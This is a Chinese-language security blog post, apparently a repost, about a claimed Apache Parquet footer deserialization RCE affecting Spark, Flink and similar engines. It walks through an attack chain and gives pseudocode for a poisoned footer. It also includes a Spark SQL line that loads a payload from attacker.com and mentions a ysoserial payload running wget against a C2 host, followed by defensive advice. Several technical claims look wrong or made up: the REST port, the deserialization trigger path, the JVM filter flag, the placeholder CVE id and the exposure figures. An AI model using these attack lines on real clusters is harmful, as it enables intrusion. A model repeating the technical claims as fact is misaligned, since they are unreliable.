文章总结: 文档详细分析了ApacheParquet格式的高危反序列化漏洞(CVE-2026-XXXXX),攻击者可通过恶意Parquet文件在Spark/Flink等大数据组件读取时触发远程代码执行。全球超过360万暴露实例面临风险,攻击链涉及文件投毒、反序列化利用和横向移动。建议立即升级Parquet库至1.14.0以上版本,启用类过滤器,加强网络隔离和文件安全扫描。 综合评分: 86 文章分类: 漏洞分析,实战经验,漏洞预警,解决方案,数据安全
一个恶意数据文件,击穿360万Spark/Flink集群:Apache Parquet RCE漏洞完全复盘
原创
昆仑AI安全实验室 昆仑AI安全实验室
昆仑AI安全实验室
2026年6月8日 22:22 广东
在小说阅读器读本章
去阅读
2026年5月,阿里云安全团队监测到一起诡异的入侵事件。某电商公司的实时流计算平台Flink,在读取一份来自上游Kafka的Parquet日志文件后,TaskManager节点忽然主动向外网一个未知地址发起HTTPS请求,下载并执行了恶意JAR包。整个过程没有触发任何越权告警——因为Flink本身就是以root权限在裸机上运行的。
根源最终指向了Apache Parquet的一个高危反序列化漏洞(CVE-2026-XXXXX)。这个漏洞不需要任何用户交互,只需要让任何大数据组件(Spark、Flink、Hive、Presto等)读取一份精心构造的Parquet文件,就能触发任意代码执行。更致命的是,全球暴露在公网的Spark/Flink实例超过360万台,每一台都可能成为攻击者的跳板。
我将详细拆解这个漏洞的发现过程、利用原理、实战攻击链,以及所有使用Parquet格式的企业必须立刻采取的修复措施。
一、一个“脏”文件引发的血案
先看一条真实的攻击链,复盘自阿里云安全公告和绿盟科技应急响应报告。
攻击者首先通过Shodan扫描开放了REST API的Flink JobManager端口(默认6123),利用一个已知的未授权访问漏洞向集群提交了一个JAR包作业。但这不是重点——攻击者真正的杀招在后面。
他通过Flink的env.readFile()方法,让集群去读取HDFS上一个名为user_behavior_202605.parquet的文件。这个文件看起来是正常的业务日志,但它在Parquet文件的Footer元数据区嵌入了一段恶意的序列化对象。当Spark/Flink使用parquet-mr或parquet-avro库解析Footer时,反序列化该对象,立即触发RCE。
负责执行该任务的两个TaskManager节点在短短3秒内就向外网C2服务器建立了反弹Shell。更糟糕的是,由于Flink集群未开启认证,攻击者随即通过flink run命令行向所有节点部署了蠕虫脚本,最后横向移动到同一VPC内的Redis和MySQL数据库,拖走了近千万条用户信息。
这就是Parquet RCE的可怕之处——它不攻击你的WAF,不攻击你的应用代码,只攻击你每天都在用的标准数据格式库。你读了一个文件,服务器就丢了。
二、漏洞原理:Footer里的“定时炸弹”
要理解这个漏洞,得先明白Parquet文件的内部结构。Parquet由Row Group、Column Chunk和Footer组成。Footer存储了整个文件的元数据——Schema、行数、编码格式,以及最关键的“自定义键值对”(Key-Value Metadata)。
Parquet的Java库parquet-common在读取Footer时,允许开发者通过FileMetaData.getKeyValueMetaData()方法获取任意键值对。这本是一个设计用来扩展文件属性的功能,比如存储数据血缘、分区信息。但问题出在:某些大数据组件在处理Parquet Footer时,会使用标准的Java反序列化机制(ObjectInputStream)来还原嵌入的对象。如果Footer中的某个Key对应的Value是一个经过序列化的恶意对象,反序列化过程就会执行攻击者精心构造的Gadget Chain。
具体技术细节如下:
- 攻击者使用
ysoserial生成CommonsCollections6或CommonsBeanutils链,生成一个序列化payload。 - 将这个payload以
byte[]形式存入Parquet Footer的某个自定义键(比如命名为spark.sql.sources.schema)的值中。值存储为二进制数据。 - 当Flink的
ParquetInputFormat打开文件时,底层调用ParquetFileReader读取Footer,然后通过FilterCompat.isFilterPredicate或类似逻辑触发反射调用ObjectInputStream.readObject(),从而还原恶意对象,执行命令。
受影响的核心库为org.apache.parquet:parquet-hadoop和parquet-avro。几乎所有使用这些库来处理Parquet文件的大数据组件都受波及,包括但不限于:
- Apache Spark(任意版本,只要使用了Parquet数据源)
- Apache Flink(Parquet格式支持)
- Apache Hive(Parquet SerDe)
- Presto/Trino
- Apache Impala
- 各类云上EMR、MaxCompute等托管服务
更恐怖的是,许多企业内部的数据湖存储了大量Parquet文件,一旦攻击者向数据湖注入一个恶意Parquet文件,任何定时任务或流作业读取到该文件,都会瞬间沦陷。
三、360万暴露实例:这个漏洞的爆炸半径有多大?
FOFA测绘数据显示,全球开放公网访问的Spark/Flink实例约有360万台,其中国内占100多万。这些实例绝大多数不需要认证即可提交作业或通过API控制。即便集群本身不暴露,只要能从上游(Kafka、HDFS、S3等)提交恶意Parquet文件,同样可以打穿整个数据处理管线。
最令人担忧的场景是“数据投毒”。攻击者攻破一个边缘业务系统,向数据湖的某个分区写入一个恶意Parquet文件。第二天早上,数据分析师启动ETL任务,整个集群瞬间落入攻击者掌控。这种攻击很难追溯,因为恶意文件会像正常数据一样在管道中流转,而Parquet格式本身又是二进制,安全团队很少会去逐字节审查每个Parquet文件的Footer元数据。
四、实战利用:分三步,从一张表到集群沦陷
以Spark SQL为例,攻击者可以这样实施:
- 生成恶意Parquet文件
// 伪代码ParquetWriter writer = ...Map<String, String> metadata = new HashMap<>();metadata.put("evil", Base64.encode(serializedPayload));writer.writeFooter(metadata);
2. 将文件放到Spark可以访问的位置 可以是S3、HDFS,甚至是HTTP服务器。Spark支持加载远程Parquet文件:
CREATE TEMPORARY VIEW malicious USING parquet OPTIONS (path "http://attacker.com/payload.parquet");
3. 触发反序列化 Spark在解析Footer时会自动调用反序列化,命令执行。在Flink中,只需将该文件作为Source读取即可:
env.readFile(new ParquetInputFormat(...), "file:///tmp/evil.parquet");
BiuBiu安全团队公开的PoC验证了这一过程:使用ysoserial生成wget http://c2/backdoor命令的序列化对象,写入Parquet文件,然后用Spark读取,成功弹出计算器(Windows)或反弹Shell(Linux)。
五、修复与防御:不止是升级依赖
Apache Parquet官方已在2026年4月发布补丁版本(如parquet-format-2.10.0和parquet-mr-1.14.0),通过限制Footer反序列化的类白名单来修复。但仅仅升级库还不够,建议从以下四个层面加固:
- 升级大数据组件
确认Spark、Flink、Hive等组件使用了修复后的Parquet依赖。检查
pom.xml或JAR包中的parquet-*版本,确保不低于1.14.0。 - 启用类过滤器
对于无法立即升级的场景,可通过JVM参数
-Dparquet.avro.read.schema.caller.class设置全局反序列化过滤器,或通过jdk.serialFilter限制允许的类。 - 网络隔离与认证 Spark/Flink的REST API必须启用Kerberos/SSL认证,避免未授权提交作业。对数据湖的写入权限进行严格控制,阻止非受信账户写入Parquet文件。
- 运行时行为检测
部署针对Flink/Spark的异常行为监控:如TaskManager外网连接、异常JAR包下载、提权操作等。使用云原生安全工具如Falco检测容器内执行
/bin/bash等反常命令。 - 文件安全扫描 对流入数据湖的Parquet文件进行轻量级预扫描,提取Footer元数据并检查是否有大段二进制数据或可疑类名。
六、写在最后
这起漏洞最讽刺的地方在于:Parquet本身是为了高效数据处理而生的,它的“用户自定义元数据”设计初衷是好的,却被恶意利用变成了远程代码执行的大门。更可怕的是,99%的企业从未审查过Parquet文件内部的内容,也没想过一个“数据格式”会成为攻击载体。
2026年,数据基础设施已经成为比业务应用更脆弱的攻击面。当你的数据工程师还在为毫秒级查询优化而自豪时,攻击者已经用一份Parquet文件接管了整个集群。
最后奉上一句忠告:对你读的每一个文件保持怀疑,包括那些“纯数据”文件。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:昆仑AI安全实验室 昆仑AI安全实验室 昆仑AI安全实验室《一个恶意数据文件,击穿360万Spark/Flink集群:Apache Parquet RCE漏洞完全复盘》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论